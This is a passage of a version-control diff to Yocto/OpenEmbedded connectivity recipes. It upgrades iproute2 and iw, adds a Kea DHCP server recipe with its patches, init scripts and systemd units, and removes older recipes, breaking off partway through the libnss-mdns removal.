- ${PN}-ss \
- ${@bb.utils.contains('PACKAGECONFIG', 'tipc', '${PN}-tipc', '', d)}"
-FILES_${PN}-tc = "${base_sbindir}/tc* \
+FILES:${PN}-tc = "${base_sbindir}/tc* \
${libdir}/tc/*.so"
-FILES_${PN}-lnstat = "${base_sbindir}/lnstat \
+FILES:${PN}-lnstat = "${base_sbindir}/lnstat \
${base_sbindir}/ctstat \
${base_sbindir}/rtstat"
-FILES_${PN}-ifstat = "${base_sbindir}/ifstat"
-FILES_${PN}-genl = "${base_sbindir}/genl"
-FILES_${PN}-rtacct = "${base_sbindir}/rtacct"
-FILES_${PN}-nstat = "${base_sbindir}/nstat"
-FILES_${PN}-ss = "${base_sbindir}/ss"
-FILES_${PN}-tipc = "${base_sbindir}/tipc"
+FILES:${PN}-ifstat = "${base_sbindir}/ifstat"
+FILES:${PN}-ip = "${base_sbindir}/ip.${PN} ${sysconfdir}/iproute2"
+FILES:${PN}-genl = "${base_sbindir}/genl"
+FILES:${PN}-rtacct = "${base_sbindir}/rtacct"
+FILES:${PN}-nstat = "${base_sbindir}/nstat"
+FILES:${PN}-ss = "${base_sbindir}/ss"
+FILES:${PN}-tipc = "${base_sbindir}/tipc"
+FILES:${PN}-devlink = "${base_sbindir}/devlink"
+FILES:${PN}-rdma = "${base_sbindir}/rdma"
-ALTERNATIVE_${PN} = "ip"
+ALTERNATIVE:${PN}-ip = "ip"
ALTERNATIVE_TARGET[ip] = "${base_sbindir}/ip.${BPN}"
ALTERNATIVE_LINK_NAME[ip] = "${base_sbindir}/ip"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-tc = "tc"
+ALTERNATIVE:${PN}-tc = "tc"
ALTERNATIVE_LINK_NAME[tc] = "${base_sbindir}/tc"
ALTERNATIVE_PRIORITY_${PN}-tc = "100"
diff --git a/meta/recipes-connectivity/iproute2/iproute2/0001-lib-fix-ax25.h-include-for-musl.patch b/meta/recipes-connectivity/iproute2/iproute2/0001-lib-fix-ax25.h-include-for-musl.patch
new file mode 100644
index 0000000000..e4c0cf4aa5
--- /dev/null
+++ b/meta/recipes-connectivity/iproute2/iproute2/0001-lib-fix-ax25.h-include-for-musl.patch
@@ -0,0 +1,37 @@
+From 8bced38a941a181f1468fa39541e872e51b6022f Mon Sep 17 00:00:00 2001
+From: Sam James <sam@gentoo.org>
+Date: Thu, 13 Jan 2022 08:14:13 +0000
+Subject: [PATCH] lib: fix ax25.h include for musl
+
+ax25.h isn't guaranteed to be avilable in netax25/*;
+it's dependent on our choice of libc (it's not available
+on musl at least) [0].
+
+Let's use the version from linux-headers.
+
+[0] https://sourceware.org/glibc/wiki/Synchronizing_Headers
+Bug: https://bugs.gentoo.org/831102
+
+Signed-off-by: Sam James <sam@gentoo.org>
+Signed-off-by: Stephen Hemminger <stephen@networkplumber.org>
+
+Upstream-Status: Backport [https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=8bced38a941a181f1468fa39541e872e51b6022f]
+---
+ lib/ax25_ntop.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/ax25_ntop.c b/lib/ax25_ntop.c
+index cfd0e04b..3a72a43e 100644
+--- a/lib/ax25_ntop.c
++++ b/lib/ax25_ntop.c
+@@ -2,7 +2,7 @@
+
+ #include <errno.h>
+ #include <sys/socket.h>
+-#include <netax25/ax25.h>
++#include <linux/ax25.h>
+
+ #include "utils.h"
+
+--
+2.32.0 (Apple Git-132)
diff --git a/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch b/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
index 50c4bfb0f2..74e3de1ce9 100644
--- a/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
+++ b/meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch
@@ -1,4 +1,4 @@
-From b7d96340c55afb7023ded0041107c63dbd886196 Mon Sep 17 00:00:00 2001
+From c25f8d1f7a6203dfeb10b39f80ffd314bb84a58d Mon Sep 17 00:00:00 2001
From: Baruch Siach <baruch@tkos.co.il>
Date: Thu, 22 Dec 2016 15:26:30 +0200
Subject: [PATCH] libc-compat.h: add musl workaround
@@ -14,15 +14,16 @@ https://git.buildroot.net/buildroot/tree/package/iproute2/0001-Add-the-musl-work
Signed-off-by: Baruch Siach <baruch@tkos.co.il>
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
include/uapi/linux/libc-compat.h | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/include/uapi/linux/libc-compat.h b/include/uapi/linux/libc-compat.h
-index f38571d..30f0b67 100644
+index a159991..22198fa 100644
--- a/include/uapi/linux/libc-compat.h
+++ b/include/uapi/linux/libc-compat.h
-@@ -49,10 +49,12 @@
+@@ -50,10 +50,12 @@
#define _LIBC_COMPAT_H
/* We have included glibc headers... */
@@ -36,6 +37,3 @@ index f38571d..30f0b67 100644
/* GLIBC headers included first so don't define anything
* that would already be defined. */
---
-2.4.0
-
diff --git a/meta/recipes-connectivity/iproute2/iproute2_5.16.0.bb b/meta/recipes-connectivity/iproute2/iproute2_5.16.0.bb
new file mode 100644
index 0000000000..871f8d8fb7
--- /dev/null
+++ b/meta/recipes-connectivity/iproute2/iproute2_5.16.0.bb
@@ -0,0 +1,12 @@
+require iproute2.inc
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
+ file://0001-libc-compat.h-add-musl-workaround.patch \
+ file://0001-lib-fix-ax25.h-include-for-musl.patch \
+ "
+
+SRC_URI[sha256sum] = "c064b66f6b001c2a35aa5224b5b1ac8aa4bee104d7dce30d6f10a84cb8b01e2f"
+
+# CFLAGS are computed in Makefile and reference CCOPTS
+#
+EXTRA_OEMAKE:append = " CCOPTS='${CFLAGS}'"
diff --git a/meta/recipes-connectivity/iproute2/iproute2_5.2.0.bb b/meta/recipes-connectivity/iproute2/iproute2_5.2.0.bb
deleted file mode 100644
index 1728cd69a1..0000000000
--- a/meta/recipes-connectivity/iproute2/iproute2_5.2.0.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require iproute2.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/net/${BPN}/${BP}.tar.xz \
- file://0001-libc-compat.h-add-musl-workaround.patch \
- "
-
-SRC_URI[md5sum] = "0cb2736e7bc2f56254a363d3d23703b7"
-SRC_URI[sha256sum] = "a5b95dec26353fc71dba9bb403e9343fad2a06bd69fb154a22a2aa2914f74da8"
-
-# CFLAGS are computed in Makefile and reference CCOPTS
-#
-EXTRA_OEMAKE_append = " CCOPTS='${CFLAGS}'"
diff --git a/meta/recipes-connectivity/iw/iw/separate-objdir.patch b/meta/recipes-connectivity/iw/iw/separate-objdir.patch
index eb01a5a14e..179fd90124 100644
--- a/meta/recipes-connectivity/iw/iw/separate-objdir.patch
+++ b/meta/recipes-connectivity/iw/iw/separate-objdir.patch
@@ -1,3 +1,6 @@
+From ff9f0a631c99fb6e2677c02bf572a5e69c70f5cf Mon Sep 17 00:00:00 2001
+From: Changhyeok Bae <changhyeok.bae@gmail.com>
+Date: Mon, 27 Jan 2020 22:48:03 +0100
Subject: [PATCH] Support separation of SRCDIR and OBJDIR
Typical use of VPATH to locate the sources.
@@ -11,12 +14,12 @@ Signed-off-by: Maxin B. John <maxin.john@intel.com>
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/Makefile b/Makefile
-index 33aaf6a..9030796 100644
+index 90f2251..714cdb9 100644
--- a/Makefile
+++ b/Makefile
@@ -1,5 +1,9 @@
MAKEFLAGS += --no-print-directory
-
+
+SRCDIR ?= $(dir $(lastword $(MAKEFILE_LIST)))
+OBJDIR ?= $(PWD)
+VPATH = $(SRCDIR)
@@ -24,19 +27,24 @@ index 33aaf6a..9030796 100644
PREFIX ?= /usr
SBINDIR ?= $(PREFIX)/sbin
MANDIR ?= $(PREFIX)/share/man
-@@ -103,11 +107,11 @@ VERSION_OBJS := $(filter-out version.o, $(OBJS))
+@@ -92,7 +96,7 @@ all: $(ALL)
version.c: version.sh $(patsubst %.o,%.c,$(VERSION_OBJS)) nl80211.h iw.h Makefile \
$(wildcard .git/index .git/refs/tags)
@$(NQ) ' GEN ' $@
- $(Q)./version.sh $@
+ $(Q)cd $(SRCDIR) && ./version.sh $(OBJDIR)/$@
-
- %.o: %.c iw.h nl80211.h
+
+ nl80211-commands.inc: nl80211.h
+ @$(NQ) ' GEN ' $@
+@@ -100,7 +104,7 @@ nl80211-commands.inc: nl80211.h
+
+ %.o: %.c iw.h nl80211.h nl80211-commands.inc
@$(NQ) ' CC ' $@
- $(Q)$(CC) $(CFLAGS) $(CPPFLAGS) -c -o $@ $<
+ $(Q)$(CC) -I$(SRCDIR) $(CFLAGS) $(CPPFLAGS) -c -o $@ $<
-
+
ifeq ($(IW_ANDROID_BUILD),)
iw: $(OBJS)
---
-2.20.1 (Apple Git-117)
+--
+2.23.0
+
diff --git a/meta/recipes-connectivity/iw/iw_5.16.bb b/meta/recipes-connectivity/iw/iw_5.16.bb
new file mode 100644
index 0000000000..cf176a349f
--- /dev/null
+++ b/meta/recipes-connectivity/iw/iw_5.16.bb
@@ -0,0 +1,31 @@
+SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
+DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
+wireless devices. It supports almost all new drivers that have been added \
+to the kernel recently. "
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/users/documentation/iw"
+SECTION = "base"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
+
+DEPENDS = "libnl"
+
+SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
+ file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
+ file://separate-objdir.patch \
+"
+
+SRC_URI[sha256sum] = "9c91f2560b258d9660e656ad37fa5bd100ac255865dcfb26076a576b10d8f3a7"
+
+inherit pkgconfig
+
+EXTRA_OEMAKE = "\
+ -f '${S}/Makefile' \
+ \
+ 'PREFIX=${prefix}' \
+ 'SBINDIR=${sbindir}' \
+ 'MANDIR=${mandir}' \
+"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
diff --git a/meta/recipes-connectivity/iw/iw_5.3.bb b/meta/recipes-connectivity/iw/iw_5.3.bb
deleted file mode 100644
index f7f13f5a30..0000000000
--- a/meta/recipes-connectivity/iw/iw_5.3.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "nl80211 based CLI configuration utility for wireless devices"
-DESCRIPTION = "iw is a new nl80211 based CLI configuration utility for \
-wireless devices. It supports almost all new drivers that have been added \
-to the kernel recently. "
-HOMEPAGE = "http://wireless.kernel.org/en/users/Documentation/iw"
-SECTION = "base"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=878618a5c4af25e9b93ef0be1a93f774"
-
-DEPENDS = "libnl"
-
-SRC_URI = "http://www.kernel.org/pub/software/network/iw/${BP}.tar.gz \
- file://0001-iw-version.sh-don-t-use-git-describe-for-versioning.patch \
- file://separate-objdir.patch \
-"
-
-SRC_URI[md5sum] = "6d4d1c0ee34f3a7bda0e6aafcd7aaf31"
-SRC_URI[sha256sum] = "175abbfce86348c0b70e778c13a94c0bfc9abc7a506d2bd608261583aeedf64a"
-
-inherit pkgconfig
-
-EXTRA_OEMAKE = "\
- -f '${S}/Makefile' \
- \
- 'PREFIX=${prefix}' \
- 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
diff --git a/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
new file mode 100644
index 0000000000..94fbd12737
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch
@@ -0,0 +1,28 @@
+From 841924e1fe8db2bff3eab8d37634ef08f86c00ec Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 15:57:03 +0000
+Subject: [PATCH] src/lib/log/logger_unittest_support.cc: do not write build
+ path into binary
+
+This breaks reproducibility and is needed only in unit testing.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ src/lib/log/logger_unittest_support.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/lib/log/logger_unittest_support.cc b/src/lib/log/logger_unittest_support.cc
+index fc01c6e..f46d17e 100644
+--- a/src/lib/log/logger_unittest_support.cc
++++ b/src/lib/log/logger_unittest_support.cc
+@@ -84,7 +84,7 @@ void initLogger(isc::log::Severity severity, int dbglevel) {
+ const char* localfile = getenv("KEA_LOGGER_LOCALMSG");
+
+ // Set a directory for creating lockfiles when running tests
+- setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
++ //setenv("KEA_LOCKFILE_DIR", TOP_BUILDDIR, 0);
+
+ // Initialize logging
+ initLogger(root, severity, dbglevel, localfile);
diff --git a/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
new file mode 100644
index 0000000000..78f475a495
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch
@@ -0,0 +1,58 @@
+From d027b1d85a8c1a0193b6e4a00083d3038d699a59 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 22 Sep 2020 15:02:33 +0800
+Subject: [PATCH] There are conflict of config files between kea and lib32-kea:
+
+| Error: Transaction test error:
+| file /etc/kea/kea-ctrl-agent.conf conflicts between attempted installs of
+ lib32-kea-1.7.10-r0.core2_32 and kea-1.7.10-r0.core2_64
+| file /etc/kea/kea-dhcp4.conf conflicts between attempted installs of
+ lib32-kea-1.7.10-r0.core2_32 and kea-1.7.10-r0.core2_64
+
+Because they are all commented out, replace the expanded libdir path with
+'$libdir' in the config files to avoid conflict.
+
+Upstream-Status: Pending
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+---
+ src/bin/keactrl/kea-ctrl-agent.conf.pre | 3 ++-
+ src/bin/keactrl/kea-dhcp4.conf.pre | 4 ++--
+ 2 files changed, 4 insertions(+), 3 deletions(-)
+
+diff --git a/src/bin/keactrl/kea-ctrl-agent.conf.pre b/src/bin/keactrl/kea-ctrl-agent.conf.pre
+index e6ae8b8..50a3092 100644
+--- a/src/bin/keactrl/kea-ctrl-agent.conf.pre
++++ b/src/bin/keactrl/kea-ctrl-agent.conf.pre
+@@ -51,7 +51,8 @@
+ // Agent will fail to start.
+ "hooks-libraries": [
+ // {
+-// "library": "@libdir@/kea/hooks/control-agent-commands.so",
++// // Replace $libdir with real library path /usr/lib or /usr/lib64
++// "library": "$libdir/kea/hooks/control-agent-commands.so",
+ // "parameters": {
+ // "param1": "foo"
+ // }
+diff --git a/src/bin/keactrl/kea-dhcp4.conf.pre b/src/bin/keactrl/kea-dhcp4.conf.pre
+index 26bf163..49ddb0a 100644
+--- a/src/bin/keactrl/kea-dhcp4.conf.pre
++++ b/src/bin/keactrl/kea-dhcp4.conf.pre
+@@ -252,7 +252,7 @@
+ // // of all devices serviced by Kea, including their identifiers
+ // // (like MAC address), their location in the network, times
+ // // when they were active etc.
+- // "library": "@libdir@/kea/hooks/libdhcp_legal_log.so",
++ // "library": "$libdir/kea/hooks/libdhcp_legal_log.so",
+ // "parameters": {
+ // "path": "/var/lib/kea",
+ // "base-name": "kea-forensic4"
+@@ -269,7 +269,7 @@
+ // // of specific options or perhaps even a combination of several
+ // // options and fields to uniquely identify a client. Those scenarios
+ // // are addressed by the Flexible Identifiers hook application.
+- // "library": "@libdir@/kea/hooks/libdhcp_flex_id.so",
++ // "library": "$libdir/kea/hooks/libdhcp_flex_id.so",
+ // "parameters": {
+ // "identifier-expression": "relay4[2].hex"
+ // }
diff --git a/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
new file mode 100644
index 0000000000..b7c2fd4f0d
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch
@@ -0,0 +1,29 @@
+From 18f4f6206c248d6169aa67b3ecf16bf54e9292e8 Mon Sep 17 00:00:00 2001
+From: Armin kuster <akuster808@gmail.com>
+Date: Wed, 14 Oct 2020 22:48:31 -0700
+Subject: [PATCH] Busybox does not support ps -p so use pgrep
+
+Upstream-Status: Inappropriate [embedded specific]
+Based on changes from Diego Sueiro <Diego.Sueiro@arm.com>
+
+Signed-off-by: Armin kuster <akuster808@gmail.com>
+
+---
+ src/bin/keactrl/keactrl.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/bin/keactrl/keactrl.in b/src/bin/keactrl/keactrl.in
+index ae5bd8e..e9f9b73 100644
+--- a/src/bin/keactrl/keactrl.in
++++ b/src/bin/keactrl/keactrl.in
+@@ -151,8 +151,8 @@ check_running() {
+ # Get the PID from the PID file (if it exists)
+ get_pid_from_file "${proc_name}"
+ if [ ${_pid} -gt 0 ]; then
+- # Use ps to check if PID is alive
+- if ps -p ${_pid} 1>/dev/null; then
++ # Use pgrep and grep to check if PID is alive
++ if pgrep -v 1 | grep ${_pid} 1>/dev/null; then
+ # No error, so PID IS ALIVE
+ _running=1
+ fi
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server
new file mode 100644
index 0000000000..50fe40d439
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server
@@ -0,0 +1,46 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp-ddns-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp-ddns-server"
+NAME=kea-dhcp-ddns
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp_ddns"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
new file mode 100644
index 0000000000..91aa2eb14f
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Kea DHCP-DDNS Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/kea
+ExecStart=@SBINDIR@/kea-dhcp-ddns -c @SYSCONFDIR@/kea/kea-dhcp-ddns.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp4-server b/meta/recipes-connectivity/kea/files/kea-dhcp4-server
new file mode 100644
index 0000000000..e83e51025d
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp4-server
@@ -0,0 +1,46 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp4-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp4-server"
+NAME=kea-dhcp4
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp4"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp4.service b/meta/recipes-connectivity/kea/files/kea-dhcp4.service
new file mode 100644
index 0000000000..b851ea71c5
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp4.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Kea DHCPv4 Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/lib/kea
+ExecStart=@SBINDIR@/kea-dhcp4 -c @SYSCONFDIR@/kea/kea-dhcp4.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp6-server b/meta/recipes-connectivity/kea/files/kea-dhcp6-server
new file mode 100644
index 0000000000..10f2d22641
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp6-server
@@ -0,0 +1,47 @@
+#!/bin/sh
+### BEGIN INIT INFO
+# Provides: kea-dhcp6-server
+# Required-Start: $local_fs $network $remote_fs $syslog
+# Required-Stop: $local_fs $network $remote_fs $syslog
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: ISC KEA DHCP IPv6 Server
+### END INIT INFO
+
+# PATH should only include /usr/* if it runs after the mountnfs.sh script
+PATH=/sbin:/usr/sbin:/bin:/usr/bin
+DESC="kea-dhcp6-server"
+NAME=kea-dhcp6
+DAEMON=/usr/sbin/keactrl
+DAEMON_ARGS=" -s dhcp6"
+
+set -e
+
+# Exit if the package is not installed
+[ -x "$DAEMON" ] || exit 0
+
+# Source function library.
+. /etc/init.d/functions
+
+case "$1" in
+ start)
+ echo -n "Starting $DESC: "
+ start-stop-daemon -S -b -n $NAME -x $DAEMON -- start $DAEMON_ARGS
+ echo "done."
+ ;;
+ stop)
+ echo -n "Stopping $DESC: "
+ kpid=`pidof $NAME`
+ kill $kpid
+ echo "done."
+ ;;
+ restart|force-reload)
+ #
+ $0 stop
+ $0 start
+ ;;
+ *)
+ echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
+ exit 1
+ ;;
+esac
diff --git a/meta/recipes-connectivity/kea/files/kea-dhcp6.service b/meta/recipes-connectivity/kea/files/kea-dhcp6.service
new file mode 100644
index 0000000000..0f9f0ef8d9
--- /dev/null
+++ b/meta/recipes-connectivity/kea/files/kea-dhcp6.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Kea DHCPv6 Server
+Wants=network-online.target
+After=network-online.target
+After=time-sync.target
+
+[Service]
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/run/kea/
+ExecStartPre=@BASE_BINDIR@/mkdir -p @LOCALSTATEDIR@/lib/kea
+ExecStart=@SBINDIR@/kea-dhcp6 -c @SYSCONFDIR@/kea/kea-dhcp6.conf
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/kea/kea_2.0.2.bb b/meta/recipes-connectivity/kea/kea_2.0.2.bb
new file mode 100644
index 0000000000..13da1f858d
--- /dev/null
+++ b/meta/recipes-connectivity/kea/kea_2.0.2.bb
@@ -0,0 +1,77 @@
+SUMMARY = "ISC Kea DHCP Server"
+DESCRIPTION = "Kea is the next generation of DHCP software developed by ISC. It supports both DHCPv4 and DHCPv6 protocols along with their extensions, e.g. prefix delegation and dynamic updates to DNS."
+HOMEPAGE = "http://kea.isc.org"
+SECTION = "connectivity"
+LICENSE = "MPL-2.0 & Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b4ecee995eeb6780a17dd7e539e97abc"
+
+DEPENDS = "boost log4cplus openssl"
+
+SRC_URI = "http://ftp.isc.org/isc/kea/${PV}/${BP}.tar.gz \
+ file://kea-dhcp4.service \
+ file://kea-dhcp6.service \
+ file://kea-dhcp-ddns.service \
+ file://kea-dhcp4-server \
+ file://kea-dhcp6-server \
+ file://kea-dhcp-ddns-server \
+ file://fix-multilib-conflict.patch \
+ file://fix_pid_keactrl.patch \
+ file://0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch \
+ "
+SRC_URI[sha256sum] = "8d28213bdc8e2bb870a383b30ac1e53d54e1eba43d2f86e5151b08b66aa6cf32"
+
+inherit autotools systemd update-rc.d upstream-version-is-even
+
+INITSCRIPT_NAME = "kea-dhcp4-server"
+INITSCRIPT_PARAMS = "defaults 30"
+
+SYSTEMD_SERVICE:${PN} = "kea-dhcp4.service kea-dhcp6.service kea-dhcp-ddns.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+DEBUG_OPTIMIZATION:remove:mips = " -Og"
+DEBUG_OPTIMIZATION:append:mips = " -O"
+BUILD_OPTIMIZATION:remove:mips = " -Og"
+BUILD_OPTIMIZATION:append:mips = " -O"
+
+DEBUG_OPTIMIZATION:remove:mipsel = " -Og"
+DEBUG_OPTIMIZATION:append:mipsel = " -O"
+BUILD_OPTIMIZATION:remove:mipsel = " -Og"
+BUILD_OPTIMIZATION:append:mipsel = " -O"
+
+EXTRA_OECONF = "--with-boost-libs=-lboost_system \
+ --with-log4cplus=${STAGING_DIR_TARGET}${prefix} \
+ --with-openssl=${STAGING_DIR_TARGET}${prefix}"
+
+do_configure:prepend() {
+ # replace abs_top_builddir to avoid introducing the build path
+ # don't expand the abs_top_builddir on the target as the abs_top_builddir is meanlingless on the target
+ find ${S} -type f -name *.sh.in | xargs sed -i "s:@abs_top_builddir@:@abs_top_builddir_placeholder@:g"
+ sed -i "s:@abs_top_srcdir@:@abs_top_srcdir_placeholder@:g" ${S}/src/bin/admin/kea-admin.in
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.report
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -d ${D}${systemd_system_unitdir}
+
+ install -m 0644 ${WORKDIR}/kea-dhcp*service ${D}${systemd_system_unitdir}
+ install -m 0755 ${WORKDIR}/kea-*-server ${D}${sysconfdir}/init.d
+ sed -i -e 's,@SBINDIR@,${sbindir},g' -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@LOCALSTATEDIR@,${localstatedir},g' -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ ${D}${systemd_system_unitdir}/kea-dhcp*service ${D}${sbindir}/keactrl
+}
+
+do_install:append() {
+ rm -rf "${D}${localstatedir}"
+}
+
+CONFFILES:${PN} = "${sysconfdir}/kea/keactrl.conf"
+
+FILES:${PN}-staticdev += "${libdir}/kea/hooks/*.a ${libdir}/hooks/*.a"
+FILES:${PN} += "${libdir}/hooks/*.so"
+
+PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.10.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.10.bb
deleted file mode 100644
index 953505971a..0000000000
--- a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.10.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
-HOMEPAGE = "http://0pointer.de/lennart/projects/nss-mdns/"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-DEPENDS = "avahi"
-PR = "r7"
-
-SRC_URI = "http://0pointer.de/lennart/projects/nss-mdns/nss-mdns-${PV}.tar.gz \
- "
-
-SRC_URI[md5sum] = "03938f17646efbb50aa70ba5f99f51d7"
-SRC_URI[sha256sum] = "1e683c2e7c3921814706d62fbbd3e9cbf493a75fa00255e0e715508d8134fa6d"
-
-S = "${WORKDIR}/nss-mdns-${PV}"
-
-localstatedir = "/"
-
-inherit autotools
-
-COMPATIBLE_HOST_libc-musl = 'null'
-
-EXTRA_OECONF = "--libdir=${base_libdir} --disable-lynx --enable-avahi"
-
-# suppress warning, but don't bother with autonamer
-LEAD_SONAME = "libnss_mdns.so"
-DEBIANNAME_${PN} = "libnss-mdns"
-
-RDEPENDS_${PN} = "avahi-daemon"
-
-pkg_postinst_${PN} () {
- sed '
- /^hosts:/ !b
